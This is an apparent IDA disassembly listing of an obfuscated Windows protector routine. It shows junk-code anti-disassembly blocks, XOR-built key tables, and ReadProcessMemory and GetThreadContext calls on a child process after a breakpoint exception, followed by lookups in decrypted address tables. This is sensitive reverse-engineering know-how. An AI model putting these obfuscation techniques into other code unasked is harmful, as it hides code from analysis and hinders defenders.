jmp short near ptr loc_4BA8D4+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BA904: ; CODE XREF: .text:004BA8FFj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
jmp short loc_4BA926
; ---------------------------------------------------------------------------
loc_4BA910: ; CODE XREF: .text:004BA7D9j
; .text:004BA7EBj ...
mov edx, [ebp-0A30h]
cmp dword ptr [edx+5Ch], 0
jnz short loc_4BA926
mov dword ptr [ebp-0D28h], 1
loc_4BA926: ; CODE XREF: .text:004BA90Ej
; .text:004BA91Aj
jmp short loc_4BA93E
; ---------------------------------------------------------------------------
loc_4BA928: ; CODE XREF: .text:004BA5A3j
; .text:004BA5B2j ...
mov eax, [ebp-0A30h]
cmp dword ptr [eax+5Ch], 0
jnz short loc_4BA93E
mov dword ptr [ebp-0D28h], 1
loc_4BA93E: ; CODE XREF: .text:loc_4BA926j
; .text:004BA932j
cmp dword ptr [ebp-0D28h], 0
jz loc_4BAA02
mov ecx, [ebp-210h]
and ecx, 0FFh
test ecx, ecx
jz loc_4BAA02
jo short loc_4BA968
jl short loc_4BA966
loc_4BA963: ; CODE XREF: .text:loc_4BA966j
; .text:loc_4BA968j
jmp short loc_4BA96A
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BA966: ; CODE XREF: .text:004BA961j
jz short loc_4BA963
loc_4BA968: ; CODE XREF: .text:004BA95Fj
jmp short loc_4BA963
; ---------------------------------------------------------------------------
loc_4BA96A: ; CODE XREF: .text:loc_4BA963j
mov edx, [ebp-0A30h]
mov eax, [edx+18h]
mov [ebp-1140h], eax
mov ecx, [ebp-0A30h]
mov edx, [ecx+24h]
mov [ebp-0D38h], edx
mov eax, [ebp-0A30h]
xor ecx, ecx
cmp dword ptr [eax+20h], 0
setnz cl
mov [ebp-0D3Ch], cl
mov edx, [ebp-0D3Ch]
and edx, 0FFh
test edx, edx
jz short loc_4BA9B9
mov dword ptr [ebp-1AA4h], offset aWriteTo ; "write to"
jmp short loc_4BA9C3
; ---------------------------------------------------------------------------
loc_4BA9B9: ; CODE XREF: .text:004BA9ABj
mov dword ptr [ebp-1AA4h], offset aReadFrom ; "read from"
loc_4BA9C3: ; CODE XREF: .text:004BA9B7j
mov eax, [ebp-0D38h]
push eax
mov ecx, [ebp-1AA4h]
push ecx
mov edx, [ebp-1140h]
push edx
push offset aErrorAccessVio ; "Error: Access violation at 0x%08X (trie"...
lea eax, [ebp-113Ch]
push eax
call _sprintf_0
add esp, 14h
push 50000h
push 0
lea ecx, [ebp-113Ch]
push ecx
push 0
call dword_4ED22C ; MessageBoxA
loc_4BAA02: ; CODE XREF: .text:004BA945j
; .text:004BA959j
jmp loc_4BB66A
; ---------------------------------------------------------------------------
loc_4BAA07: ; CODE XREF: .text:004BA56Fj
mov edx, dword_4ED418
xor edx, 80000003h
cmp [ebp-0A38h], edx
jnz loc_4BB614
mov dword ptr [ebp-11A0h], 17h
mov eax, dword_4ED418
xor eax, dword_4ED3E4
xor eax, dword_4ED3D4
mov [ebp-119Ch], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED3FC
xor ecx, dword_4ED3BC
mov [ebp-1198h], ecx
mov edx, dword_4ED3F0
xor edx, dword_4ED420
xor edx, dword_4ED408
mov [ebp-1194h], edx
mov eax, dword_4ED424
xor eax, dword_4ED3EC
xor eax, dword_4ED42C
mov [ebp-1190h], eax
mov ecx, dword_4ED428
xor ecx, dword_4ED3D0
xor ecx, dword_4ED3B8
mov [ebp-118Ch], ecx
mov edx, dword_4ED3CC
xor edx, dword_4ED3D8
xor edx, dword_4ED430
mov [ebp-1188h], edx
mov eax, dword_4ED418
xor eax, dword_4ED41C
xor eax, dword_4ED3F0
xor eax, dword_4ED3E0
mov [ebp-1184h], eax
mov ecx, dword_4ED3E4
xor ecx, dword_4ED3FC
xor ecx, dword_4ED420
xor ecx, dword_4ED3CC
mov [ebp-1180h], ecx
mov edx, dword_4ED424
xor edx, dword_4ED428
xor edx, dword_4ED3CC
xor edx, dword_4ED3D8
mov [ebp-117Ch], edx
mov eax, dword_4ED3EC
xor eax, dword_4ED3D0
xor eax, dword_4ED3D8
xor eax, dword_4ED418
mov [ebp-1178h], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED428
xor ecx, dword_4ED41C
mov [ebp-1174h], ecx
mov edx, dword_4ED3E4
xor edx, dword_4ED3EC
xor edx, dword_4ED3F0
mov [ebp-1170h], edx
mov eax, dword_4ED41C
xor eax, dword_4ED424
xor eax, dword_4ED3CC
mov [ebp-116Ch], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED420
xor ecx, dword_4ED424
mov [ebp-1168h], ecx
mov edx, dword_4ED418
xor edx, dword_4ED3FC
xor edx, dword_4ED424
xor edx, dword_4ED428
mov [ebp-1164h], edx
mov eax, dword_4ED3E4
xor eax, dword_4ED3F0
xor eax, dword_4ED3EC
xor eax, dword_4ED3D0
mov [ebp-1160h], eax
mov ecx, dword_4ED3E4
xor ecx, dword_4ED3FC
xor ecx, dword_4ED420
xor ecx, dword_4ED3CC
mov [ebp-115Ch], ecx
mov edx, dword_4ED424
xor edx, dword_4ED428
xor edx, dword_4ED3CC
xor edx, dword_4ED3D8
mov [ebp-1158h], edx
mov eax, dword_4ED3EC
xor eax, dword_4ED3D0
xor eax, dword_4ED3D8
xor eax, dword_4ED418
mov [ebp-1154h], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED428
xor ecx, dword_4ED41C
mov [ebp-1150h], ecx
mov edx, dword_4ED3E4
xor edx, dword_4ED3EC
xor edx, dword_4ED3F0
mov [ebp-114Ch], edx
mov eax, dword_4ED41C
xor eax, dword_4ED424
xor eax, dword_4ED3CC
mov [ebp-1148h], eax
mov ecx, dword_4ED3AC
xor ecx, dword_4ED420
xor ecx, dword_4ED424
mov [ebp-1144h], ecx
xor edx, edx
mov dl, byte_4F4743
test edx, edx
jz loc_4BB608
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BACB2
loc_4BACAF: ; CODE XREF: .text:004BACD0j
jmp short near ptr loc_4BACD2+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BACB2: ; CODE XREF: .text:004BACADj
xor ebx, ebx
jz short $+2
jmp short loc_4BACC5
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BACBB: ; CODE XREF: .text:004BACC7j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BACC9
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BACC5: ; CODE XREF: .text:004BACB6j
xor eax, eax
jz short loc_4BACBB
loc_4BACC9: ; CODE XREF: .text:004BACC2j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BACAF
loc_4BACD2: ; CODE XREF: .text:loc_4BACAFj
jmp near ptr 92B24A38h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
cmp dword_4F4784, 0
jnz loc_4BB11C
mov eax, dword_4F4764
cmp dword ptr [eax+0Ch], 0
jz loc_4BB11C
mov ecx, dword_4F4764
mov edx, [ecx+0Ch]
push edx
call sub_4C85E1
add esp, 4 ; CODE XREF: .text:loc_4BAD7Ej
mov [ebp-18FCh], eax
mov eax, [ebp-18FCh]
mov dword_4F4784, eax
jo short loc_4BAD23
jl short loc_4BAD21
loc_4BAD1E: ; CODE XREF: .text:loc_4BAD21j
; .text:loc_4BAD23j
jmp short loc_4BAD25
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BAD21: ; CODE XREF: .text:004BAD1Cj
jz short loc_4BAD1E
loc_4BAD23: ; CODE XREF: .text:004BAD1Aj
jmp short loc_4BAD1E
; ---------------------------------------------------------------------------
loc_4BAD25: ; CODE XREF: .text:loc_4BAD1Ej
mov dword ptr [ebp-11A8h], 0
lea ecx, [ebp-11A8h]
push ecx
mov edx, dword_4F4764
mov eax, [edx+0Ch]
push eax
mov ecx, dword_4F4784
push ecx
mov edx, dword_4F4764
mov eax, [edx+8]
push eax
mov ecx, dword_4F4750
mov edx, [ecx]
push edx
call dword_4ED0D0 ; ReadProcessMemory
pusha
xor eax, eax
jnz short loc_4BAD67
jmp short loc_4BAD7C
; ---------------------------------------------------------------------------
loc_4BAD67: ; CODE XREF: .text:004BAD63j
jmp short loc_4BAD9C
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BAD6E: ; CODE XREF: .text:loc_4BAD7Cj
jo short loc_4BAD7E
jmp short near ptr loc_4BAD7E+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BAD7C: ; CODE XREF: .text:004BAD65j
jz short loc_4BAD6E
loc_4BAD7E: ; CODE XREF: .text:loc_4BAD6Ej
; .text:004BAD70j
jmp short near ptr loc_4BAD06+1
; ---------------------------------------------------------------------------
dd 0A0F07ADBh, 64A16133h, 8B004F47h, 0E8830C40h, 0B9D23378h
dd 0Dh, 0E883F1F7h
; ---------------------------------------------------------------------------
loc_4BAD9C: ; CODE XREF: .text:loc_4BAD67j
add dword_4F4788[ebx], esp
mov edx, dword_4F4784
mov [ebp-11A4h], edx
mov dword ptr [ebp-11ACh], 0
jmp short loc_4BADC9
; ---------------------------------------------------------------------------
loc_4BADBA: ; CODE XREF: .text:004BADF6j
mov eax, [ebp-11ACh]
add eax, 1
mov [ebp-11ACh], eax
loc_4BADC9: ; CODE XREF: .text:004BADB8j
cmp dword ptr [ebp-11ACh], 1Eh
jnb short loc_4BADF8 ; CODE XREF: .text:loc_4BAE48j
mov ecx, [ebp-11ACh]
mov edx, [ebp-11A4h]
mov eax, [edx]
mov dword_4F45C8[ecx*4], eax
mov ecx, [ebp-11A4h]
add ecx, 4
mov [ebp-11A4h], ecx
jmp short loc_4BADBA
; ---------------------------------------------------------------------------
loc_4BADF8: ; CODE XREF: .text:004BADD0j
mov dword ptr [ebp-11B4h], 0
mov dword ptr [ebp-11B0h], 0
jmp short loc_4BAE1D
; ---------------------------------------------------------------------------
loc_4BAE0E: ; CODE XREF: .text:004BB0D6j
mov edx, [ebp-11B0h]
add edx, 1
mov [ebp-11B0h], edx
loc_4BAE1D: ; CODE XREF: .text:004BAE0Cj
cmp dword ptr [ebp-11B0h], 1Eh
jnb loc_4BB0DB
pusha
xor eax, eax
jnz short loc_4BAE31
jmp short loc_4BAE46
; ---------------------------------------------------------------------------
loc_4BAE31: ; CODE XREF: .text:004BAE2Dj
jmp short loc_4BAE66
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BAE38: ; CODE XREF: .text:loc_4BAE46j
jo short loc_4BAE48
jmp short near ptr loc_4BAE48+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BAE4F
loc_4BAE46: ; CODE XREF: .text:004BAE2Fj
jz short loc_4BAE38
loc_4BAE48: ; CODE XREF: .text:loc_4BAE38j
; .text:004BAE3Aj
jmp short near ptr loc_4BADD0+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BAE4F: ; CODE XREF: .text:004BAE44j
popa
mov eax, [ebp-11B0h]
mov ecx, dword_4F45C8[eax*4]
shl ecx, 2
push ecx
call sub_4C85E1
loc_4BAE66: ; CODE XREF: .text:loc_4BAE31j
add esp, 4
mov [ebp-1900h], eax
mov edx, [ebp-11B0h]
mov eax, [ebp-1900h]
mov dword_4F4530[edx*4], eax
mov ecx, [ebp-11B0h]
mov edx, dword_4F45C8[ecx*4]
shl edx, 2
push edx
call sub_4C85E1
add esp, 4
mov [ebp-1904h], eax
mov eax, [ebp-11B0h]
mov ecx, [ebp-1904h]
mov dword_4F4640[eax*4], ecx
mov edx, [ebp-11B0h]
mov eax, dword_4F45C8[edx*4]
push eax
loc_4BAEC2: ; CODE XREF: .text:004BAF30j
call sub_4C85E1
add esp, 4
mov [ebp-1908h], eax
mov ecx, [ebp-11B0h]
mov edx, [ebp-1908h]
mov dword_4F46C0[ecx*4], edx
mov eax, [ebp-11B0h]
mov ecx, dword_4F45C8[eax*4]
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp-190Ch], eax
mov edx, [ebp-11B0h]
mov eax, [ebp-190Ch]
mov dword_4F44B8[edx*4], eax
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BAF4C ; CODE XREF: .text:loc_4BAF4Cj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BAF24: ; CODE XREF: .text:004BAF45j
jmp short loc_4BAF43
; ---------------------------------------------------------------------------
loc_4BAF26: ; CODE XREF: .text:loc_4BAF43j
xor ecx, ecx
loc_4BAF28: ; CODE XREF: .text:004BAF37j
jz short $+2
jmp short loc_4BAF3C
; ---------------------------------------------------------------------------
loc_4BAF2C: ; CODE XREF: .text:004BAF40j
stc
xor ecx, 3
jz short loc_4BAEC2
jmp short loc_4BAF39
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BAF35: ; CODE XREF: .text:loc_4BAF39j
jmp short loc_4BAF47
; ---------------------------------------------------------------------------
jz short loc_4BAF28
loc_4BAF39: ; CODE XREF: .text:004BAF32j
jnb short loc_4BAF35
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BAF3C: ; CODE XREF: .text:004BAF2Aj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BAF2C
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BAF43: ; CODE XREF: .text:loc_4BAF24j
jmp short loc_4BAF26
; ---------------------------------------------------------------------------
jmp short loc_4BAF24
; ---------------------------------------------------------------------------
loc_4BAF47: ; CODE XREF: .text:loc_4BAF35j
repne sbb al, 0DBh
jmp short loc_4BAF4F
; ---------------------------------------------------------------------------
loc_4BAF4C: ; CODE XREF: .text:004BAF1Fj
jmp short near ptr loc_4BAF1F+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BAF4F: ; CODE XREF: .text:004BAF4Aj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov dword ptr [ebp-11B8h], 0
jmp short loc_4BAF83
; ---------------------------------------------------------------------------
loc_4BAF65: ; CODE XREF: .text:004BB085j
mov ecx, [ebp-11B8h]
add ecx, 1
mov [ebp-11B8h], ecx
mov edx, [ebp-11B4h]
add edx, 1
mov [ebp-11B4h], edx
loc_4BAF83: ; CODE XREF: .text:004BAF63j
mov eax, [ebp-11B0h]
mov ecx, [ebp-11B8h]
cmp ecx, dword_4F45C8[eax*4]
jnb loc_4BB08A
mov edx, [ebp-11A4h]
mov eax, [edx]
add eax, [ebp-3Ch]
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3AC
xor eax, ecx
mov edx, [ebp-11B0h]
mov ecx, dword_4F4530[edx*4]
mov edx, [ebp-11B8h]
mov [ecx+edx*4], eax
mov eax, [ebp-11A4h]
add eax, 4
mov [ebp-11A4h], eax
mov ecx, [ebp-11B0h]
mov edx, dword_4F4640[ecx*4]
mov eax, [ebp-11B8h]
mov ecx, [ebp-11A4h]
mov ecx, [ecx]
mov [edx+eax*4], ecx
mov edx, [ebp-11A4h]
add edx, 4
mov [ebp-11A4h], edx
mov eax, [ebp-11B0h]
mov ecx, dword_4F46C0[eax*4]
mov edx, [ebp-11B8h]
mov eax, [ebp-11A4h]
mov al, [eax]
mov [ecx+edx], al
mov ecx, [ebp-11A4h]
add ecx, 1
mov [ebp-11A4h], ecx
mov edx, dword_4ED3EC
xor edx, dword_4ED3AC
mov eax, [ebp-11A4h]
mov ecx, [eax]
xor ecx, edx
mov eax, [ebp-11B8h]
xor edx, edx
mov esi, 17h
div esi
xor ecx, [ebp+edx*4-119Ch]
mov edx, [ebp-11B0h]
mov eax, dword_4F44B8[edx*4]
mov edx, [ebp-11B8h]
mov [eax+edx*4], ecx
mov eax, [ebp-11A4h]
add eax, 4
mov [ebp-11A4h], eax
jmp loc_4BAF65
; ---------------------------------------------------------------------------
loc_4BB08A: ; CODE XREF: .text:004BAF96j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
loc_4BB09D: ; CODE XREF: .text:loc_4BB114j
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BB0AD
loc_4BB0AA: ; CODE XREF: .text:004BB0CBj
jmp short near ptr loc_4BB0CD+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB0AD: ; CODE XREF: .text:004BB0A8j
xor ebx, ebx
jz short $+2
jmp short loc_4BB0C0
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BB0B6: ; CODE XREF: .text:004BB0C2j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BB0C4
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB0C0: ; CODE XREF: .text:004BB0B1j
xor eax, eax
jz short loc_4BB0B6
loc_4BB0C4: ; CODE XREF: .text:004BB0BDj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BB0AA
loc_4BB0CD: ; CODE XREF: .text:loc_4BB0AAj
jmp near ptr 92B24E33h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
jmp loc_4BAE0E
; ---------------------------------------------------------------------------
loc_4BB0DB: ; CODE XREF: .text:004BAE24j
mov ecx, dword_4F4784
mov [ebp-1910h], ecx
mov edx, [ebp-1910h]
push edx
call sub_4C85D6
add esp, 4
pusha
xor eax, eax
jnz short loc_4BB0FD
jmp short loc_4BB112
; ---------------------------------------------------------------------------
loc_4BB0FD: ; CODE XREF: .text:004BB0F9j
jmp short loc_4BB132
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BB104: ; CODE XREF: .text:loc_4BB112j
jo short loc_4BB114
jmp short near ptr loc_4BB114+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BB11B
loc_4BB112: ; CODE XREF: .text:004BB0FBj
jz short loc_4BB104
loc_4BB114: ; CODE XREF: .text:loc_4BB104j
; .text:004BB106j
jmp short loc_4BB09D
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BB11B: ; CODE XREF: .text:004BB110j
popa
loc_4BB11C: ; CODE XREF: .text:004BACE2j
; .text:004BACF1j
push ecx
bswap ecx
not ecx
push eax
loc_4BB122: ; CODE XREF: .text:004BB190j
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
loc_4BB132: ; CODE XREF: .text:loc_4BB0FDj
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BB13F
loc_4BB13C: ; CODE XREF: .text:004BB15Dj
jmp short near ptr loc_4BB15F+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB13F: ; CODE XREF: .text:004BB13Aj
xor ebx, ebx
jz short $+2
jmp short loc_4BB152
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BB148: ; CODE XREF: .text:004BB154j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BB156
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB152: ; CODE XREF: .text:004BB143j
xor eax, eax
jz short loc_4BB148
loc_4BB156: ; CODE XREF: .text:004BB14Fj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BB13C
loc_4BB15F: ; CODE XREF: .text:loc_4BB13Cj
jmp near ptr 92B24EC5h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
cmp dword_4F4784, 0
jz loc_4BB608
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BB1AC ; CODE XREF: .text:loc_4BB1ACj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BB184: ; CODE XREF: .text:004BB1A5j
jmp short loc_4BB1A3
; ---------------------------------------------------------------------------
loc_4BB186: ; CODE XREF: .text:loc_4BB1A3j
xor ecx, ecx
loc_4BB188: ; CODE XREF: .text:004BB197j
jz short $+2
jmp short loc_4BB19C
; ---------------------------------------------------------------------------
loc_4BB18C: ; CODE XREF: .text:004BB1A0j
stc
xor ecx, 3
jz short loc_4BB122
jmp short loc_4BB199
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BB195: ; CODE XREF: .text:loc_4BB199j
jmp short loc_4BB1A7
; ---------------------------------------------------------------------------
jz short loc_4BB188
loc_4BB199: ; CODE XREF: .text:004BB192j
jnb short loc_4BB195
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BB19C: ; CODE XREF: .text:004BB18Aj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BB18C
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BB1A3: ; CODE XREF: .text:loc_4BB184j
jmp short loc_4BB186
; ---------------------------------------------------------------------------
jmp short loc_4BB184
; ---------------------------------------------------------------------------
loc_4BB1A7: ; CODE XREF: .text:loc_4BB195j
repne sbb al, 0DBh
jmp short loc_4BB1AF
; ---------------------------------------------------------------------------
loc_4BB1AC: ; CODE XREF: .text:004BB17Fj
jmp short near ptr loc_4BB17F+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BB1AF: ; CODE XREF: .text:004BB1AAj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov eax, [ebp-0A30h] ; CODE XREF: .text:004BB22Bj
mov ecx, [eax+8]
push ecx
call sub_4BDA71
add esp, 4
mov [ebp-11C0h], eax
jo short loc_4BB1DA
jl short loc_4BB1D8
loc_4BB1D5: ; CODE XREF: .text:loc_4BB1D8j
; .text:loc_4BB1DAj
jmp short loc_4BB1DC
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BB1D8: ; CODE XREF: .text:004BB1D3j
jz short loc_4BB1D5
loc_4BB1DA: ; CODE XREF: .text:004BB1D1j
jmp short loc_4BB1D5
; ---------------------------------------------------------------------------
loc_4BB1DC: ; CODE XREF: .text:loc_4BB1D5j
push 2CCh
push 0
lea edx, [ebp-1494h]
push edx
call _memset_0
add esp, 0Ch
mov dword ptr [ebp-1494h], 10001h
lea eax, [ebp-1494h]
push eax
mov ecx, [ebp-11C0h]
push ecx
call dword_4ED0E0 ; GetThreadContext
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BB247 ; CODE XREF: .text:loc_4BB247j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BB21F: ; CODE XREF: .text:004BB240j
jmp short loc_4BB23E
; ---------------------------------------------------------------------------
loc_4BB221: ; CODE XREF: .text:loc_4BB23Ej
xor ecx, ecx
loc_4BB223: ; CODE XREF: .text:004BB232j
jz short $+2
jmp short loc_4BB237
; ---------------------------------------------------------------------------
loc_4BB227: ; CODE XREF: .text:004BB23Bj
stc
xor ecx, 3
jz short near ptr loc_4BB1B9+4
jmp short loc_4BB234
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BB230: ; CODE XREF: .text:loc_4BB234j
jmp short loc_4BB242
; ---------------------------------------------------------------------------
jz short loc_4BB223
loc_4BB234: ; CODE XREF: .text:004BB22Dj
jnb short loc_4BB230
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BB237: ; CODE XREF: .text:004BB225j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BB227
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BB23E: ; CODE XREF: .text:loc_4BB21Fj
jmp short loc_4BB221
; ---------------------------------------------------------------------------
jmp short loc_4BB21F
; ---------------------------------------------------------------------------
loc_4BB242: ; CODE XREF: .text:loc_4BB230j
repne sbb al, 0DBh
jmp short loc_4BB24A
; ---------------------------------------------------------------------------
loc_4BB247: ; CODE XREF: .text:004BB21Aj
jmp short near ptr loc_4BB21A+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BB24A: ; CODE XREF: .text:004BB245j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov dword ptr [ebp-1498h], 0
push 0FFFFFFFFh
push 4
lea edx, [ebp-13DCh]
push edx
call sub_490FB0
add esp, 0Ch
mov [ebp-11C4h], eax
mov eax, [ebp-11C4h]
xor edx, edx
mov ecx, 1Eh
div ecx
mov [ebp-11C8h], edx
mov edx, [ebp-13DCh]
push edx
mov eax, [ebp-11C8h]
call off_4F1F00[eax*4]
add esp, 4
mov [ebp-1498h], eax
mov dword ptr [ebp-149Ch], 0
mov ecx, [ebp-11C8h]
mov edx, dword_4F45C8[ecx*4]
mov [ebp-11BCh], edx
loc_4BB2C6: ; CODE XREF: .text:loc_4BB32Ej
mov eax, [ebp-149Ch]
cmp eax, [ebp-11BCh]
jge short loc_4BB330
mov eax, [ebp-11BCh] ; CODE XREF: .text:loc_4BB34Ej
sub eax, [ebp-149Ch]
cdq
sub eax, edx
sar eax, 1
mov ecx, [ebp-149Ch]
add ecx, eax
mov [ebp-14A0h], ecx
mov edx, [ebp-11C8h]
mov eax, dword_4F4530[edx*4]
mov ecx, [ebp-14A0h]
mov edx, [ebp-1498h]
cmp edx, [eax+ecx*4]
jbe short loc_4BB322
mov eax, [ebp-14A0h]
add eax, 1
mov [ebp-149Ch], eax
jmp short loc_4BB32E
; ---------------------------------------------------------------------------
loc_4BB322: ; CODE XREF: .text:004BB30Fj
mov ecx, [ebp-14A0h]
mov [ebp-11BCh], ecx
loc_4BB32E: ; CODE XREF: .text:004BB320j
jmp short loc_4BB2C6
; ---------------------------------------------------------------------------
loc_4BB330: ; CODE XREF: .text:004BB2D2j
pusha
xor eax, eax
jnz short loc_4BB337
jmp short loc_4BB34C
; ---------------------------------------------------------------------------
loc_4BB337: ; CODE XREF: .text:004BB333j
jmp short loc_4BB36C
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BB33E: ; CODE XREF: .text:loc_4BB34Cj
jo short loc_4BB34E
jmp short near ptr loc_4BB34E+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BB34C: ; CODE XREF: .text:004BB335j
jz short loc_4BB33E
loc_4BB34E: ; CODE XREF: .text:loc_4BB33Ej
; .text:004BB340j
jmp short near ptr loc_4BB2D4+3
; ---------------------------------------------------------------------------
dd 0A0F07ADBh, 958B6133h, 0FFFFEE38h, 3095048Bh, 8B004F45h
dd 0FFEB648Dh, 88148BFFh
; ---------------------------------------------------------------------------
loc_4BB36C: ; CODE XREF: .text:loc_4BB337j
cmp edx, [ebp-1498h]
jnz loc_4BB608
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BB39B
loc_4BB398: ; CODE XREF: .text:004BB3B9j
jmp short near ptr loc_4BB3BB+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB39B: ; CODE XREF: .text:004BB396j
xor ebx, ebx
jz short $+2
jmp short loc_4BB3AE
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BB3A4: ; CODE XREF: .text:004BB3B0j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BB3B2
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BB3AE: ; CODE XREF: .text:004BB39Fj
xor eax, eax
jz short loc_4BB3A4
loc_4BB3B2: ; CODE XREF: .text:004BB3ABj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BB398
loc_4BB3BB: ; CODE XREF: .text:loc_4BB398j
jmp near ptr 92B25121h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
jo short loc_4BB3CD
jl short loc_4BB3CB
loc_4BB3C8: ; CODE XREF: .text:loc_4BB3CBj
; .text:loc_4BB3CDj
jmp short loc_4BB3CF
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BB3CB: ; CODE XREF: .text:004BB3C6j
jz short loc_4BB3C8
loc_4BB3CD: ; CODE XREF: .text:004BB3C4j
jmp short loc_4BB3C8
; ---------------------------------------------------------------------------
loc_4BB3CF: ; CODE XREF: .text:loc_4BB3C8j
mov eax, [ebp-11C8h]
mov ecx, dword_4F4640[eax*4]
mov edx, [ebp-149Ch]
mov eax, [ecx+edx*4]
mov [ebp-14B4h], eax
mov ecx, [ebp-13D4h]
and ecx, 0FD7h
mov [ebp-14A4h], ecx
mov edx, [ebp-14B4h]
and edx, 0FF000000h ; CODE XREF: .text:loc_4BB47Dj
